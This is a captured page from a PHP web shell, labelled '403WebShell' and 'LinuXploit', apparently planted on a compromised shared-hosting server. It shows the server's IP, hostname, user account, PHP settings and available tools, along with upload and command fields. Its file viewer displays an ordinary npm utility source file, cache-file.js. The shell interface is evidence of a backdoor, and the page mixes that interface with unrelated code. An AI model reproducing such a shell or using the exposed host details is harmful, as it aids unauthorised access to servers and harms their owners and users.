Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.17.175.167
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/node_modules/npm/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/node_modules/npm/lib/utils/cache-file.js
// XXX use infer-owner or gentle-fs.mkdir here
const npm = require('../npm.js')
const path = require('path')
const chownr = require('chownr')
const writeFileAtomic = require('write-file-atomic')
const mkdirp = require('mkdirp')
const fs = require('graceful-fs')

let cache = null
let cacheUid = null
let cacheGid = null
let needChown = typeof process.getuid === 'function'

const getCacheOwner = () => {
  let st
  try {
    st = fs.lstatSync(cache)
  } catch (er) {
    if (er.code !== 'ENOENT') {
      throw er
    }
    st = fs.lstatSync(path.dirname(cache))
  }

  cacheUid = st.uid
  cacheGid = st.gid

  needChown = st.uid !== process.getuid() ||
    st.gid !== process.getgid()
}

const writeOrAppend = (method, file, data) => {
  if (!cache) {
    cache = npm.config.get('cache')
  }

  // redundant if already absolute, but prevents non-absolute files
  // from being written as if they're part of the cache.
  file = path.resolve(cache, file)

  if (cacheUid === null && needChown) {
    getCacheOwner()
  }

  const dir = path.dirname(file)
  const firstMade = mkdirp.sync(dir)

  if (!needChown) {
    return method(file, data)
  }

  let methodThrew = true
  try {
    method(file, data)
    methodThrew = false
  } finally {
    // always try to leave it in the right ownership state, even on failure
    // let the method error fail it instead of the chownr error, though
    if (!methodThrew) {
      chownr.sync(firstMade || file, cacheUid, cacheGid)
    } else {
      try {
        chownr.sync(firstMade || file, cacheUid, cacheGid)
      } catch (_) {}
    }
  }
}

exports.append = (file, data) => writeOrAppend(fs.appendFileSync, file, data)
exports.write = (file, data) => writeOrAppend(writeFileAtomic.sync, file, data)

Youez - 2016 - github.com/yon3zu
LinuXploit